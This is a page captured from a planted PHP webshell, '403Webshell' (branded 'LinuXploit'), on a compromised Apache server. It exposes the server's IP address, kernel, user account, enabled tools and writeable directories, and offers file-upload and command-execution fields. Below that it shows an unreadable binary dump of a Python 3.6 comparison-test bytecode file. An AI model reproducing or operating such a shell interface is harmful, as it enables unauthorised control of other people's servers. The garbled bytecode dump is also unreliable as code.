403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_compare.cpython-36.pyc
3

�w2_J�@sXddlZGdd�d�ZGdd�d�ZGdd�d�ZGdd	�d	ej�Zed
krTej�dS)�Nc@seZdZdd�ZdS)�EmptycCsdS)Nz<Empty>�)�selfrr�6/opt/alt/python36/lib64/python3.6/test/test_compare.py�__repr__szEmpty.__repr__N)�__name__�
__module__�__qualname__rrrrrrsrc@s$eZdZdd�Zdd�Zdd�ZdS)�CmpcCs
||_dS)N)�arg)rrrrr�__init__szCmp.__init__cCs
d|jS)Nz<Cmp %s>)r)rrrrrszCmp.__repr__cCs
|j|kS)N)r)r�otherrrr�__eq__sz
Cmp.__eq__N)rrr	rrrrrrrr
sr
c@seZdZdd�Zdd�ZdS)�AnythingcCsdS)NTr)rr
rrrrszAnything.__eq__cCsdS)NFr)rr
rrr�__ne__szAnything.__ne__N)rrr	rrrrrrrsrc@sneZdZdddded�gZdgdde�gZeeZdd�Zd	d
�Z	dd�Z
d
d�Zdd�Zdd�Z
dd�ZdS)�ComparisonTest�g@y��NcCsZxT|jD]J}xD|jD]:}||jkr,||jks4||krB|j||�q|j||�qWqWdS)N)�
candidates�set1�assertEqualZassertNotEqual)r�a�brrr�test_comparisonss
zComparisonTest.test_comparisonscCsrg}x&td�D]}|jt|�dt��qWx@|D]8}x2|D]*}|j||kt|�t|�kd||f�q<Wq2WdS)N�
rz
a=%r, b=%r)�range�insert�lenrr�id)r�L�irrrrr�test_id_comparisons%s

z"ComparisonTest.test_id_comparisonscCsLtd�}td�}td�}|j||kd�|j||kd�|j||kd�dS)NrrTF)r
�assertIs)rrr�crrr�test_ne_defaults_to_not_eq/sz)ComparisonTest.test_ne_defaults_to_not_eqcsHg�G�fdd�d�}G�fdd�d�}|�|�k|j�ddg�dS)z;object.__ne__() should allow reflected __ne__() to be triedcseZdZ�fdd�ZdS)z2ComparisonTest.test_ne_high_priority.<locals>.Leftcs�jd�tS)NzLeft.__eq__)�append�NotImplemented)�args)�callsrrr<s
z9ComparisonTest.test_ne_high_priority.<locals>.Left.__eq__N)rrr	rr)r)rr�Left:sr*cs$eZdZ�fdd�Z�fdd�ZdS)z3ComparisonTest.test_ne_high_priority.<locals>.Rightcs�jd�tS)NzRight.__eq__)r&r')r()r)rrr@s
z:ComparisonTest.test_ne_high_priority.<locals>.Right.__eq__cs�jd�tS)NzRight.__ne__)r&r')r()r)rrrCs
z:ComparisonTest.test_ne_high_priority.<locals>.Right.__ne__N)rrr	rrr)r)rr�Right?sr+zLeft.__eq__zRight.__ne__N)�assertSequenceEqual)rr*r+r)r)r�test_ne_high_priority7s
z$ComparisonTest.test_ne_high_prioritycsJg�G�fdd�d�}G�fdd�d|�}|�|�k|j�ddg�dS)z4object.__ne__() should not invoke reflected __eq__()cseZdZ�fdd�ZdS)z1ComparisonTest.test_ne_low_priority.<locals>.Basecs�jd�tS)NzBase.__eq__)r&r')r()r)rrrNs
z8ComparisonTest.test_ne_low_priority.<locals>.Base.__eq__N)rrr	rr)r)rr�BaseLsr.cs$eZdZ�fdd�Z�fdd�ZdS)z4ComparisonTest.test_ne_low_priority.<locals>.Derivedcs�jd�tS)NzDerived.__eq__)r&r')r()r)rrrRs
z;ComparisonTest.test_ne_low_priority.<locals>.Derived.__eq__cs�jd�tS)NzDerived.__ne__)r&r')r()r)rrrUs
z;ComparisonTest.test_ne_low_priority.<locals>.Derived.__ne__N)rrr	rrr)r)rr�DerivedQsr/zDerived.__ne__zBase.__eq__N)r,)rr.r/r)r)r�test_ne_low_priorityIs
z#ComparisonTest.test_ne_low_priorityc
s�ddd�fddd�fddd�fdd	d�fd
dd�ff}x�|D]�\}}�j|��~�fdd
��G�fdd�d�}x$|D]\}}||krtt||��qtW|dkr��j||�t��d�n�jt||�t��WdQRXq<WdS)z8No default delegation between operations except __ne__()rcSs||kS)Nr)rrrrr�<lambda>^sz6ComparisonTest.test_other_delegation.<locals>.<lambda>�__lt__cSs||kS)Nr)rrrrrr1_s�__le__cSs||kS)Nr)rrrrrr1`s�__gt__cSs||kS)Nr)rrrrrr1as�__ge__cSs||kS)Nr)rrrrrr1bscs�jd�dS)Nz!Unexpected operator method called)Zfail)r()rrr�
unexpectedfsz8ComparisonTest.test_other_delegation.<locals>.unexpectedcseZdZ�ZdS)z/ComparisonTest.test_other_delegation.<locals>.CN)rrr	rr)r6rr�Chsr7FN)ZsubTest�setattrr#�objectZassertRaises�	TypeError)rZops�name�funcr7r
�_r)rr6r�test_other_delegation[s



z$ComparisonTest.test_other_delegationcCsJdd�}|j|t��|jt�|�t�}|j|t��|jt�|�dS)NcSsdS)Nrrrrrr1ssz0ComparisonTest.test_issue_1393.<locals>.<lambda>)rrr9)r�x�yrrr�test_issue_1393rszComparisonTest.test_issue_1393y@)r)rrr	r
rrZset2rrr"r%r-r0r>rArrrrrs
r�__main__)Zunittestrr
rZTestCaserr�mainrrrr�<module>s
c

Youez - 2016 - github.com/yon3zu
LinuXploit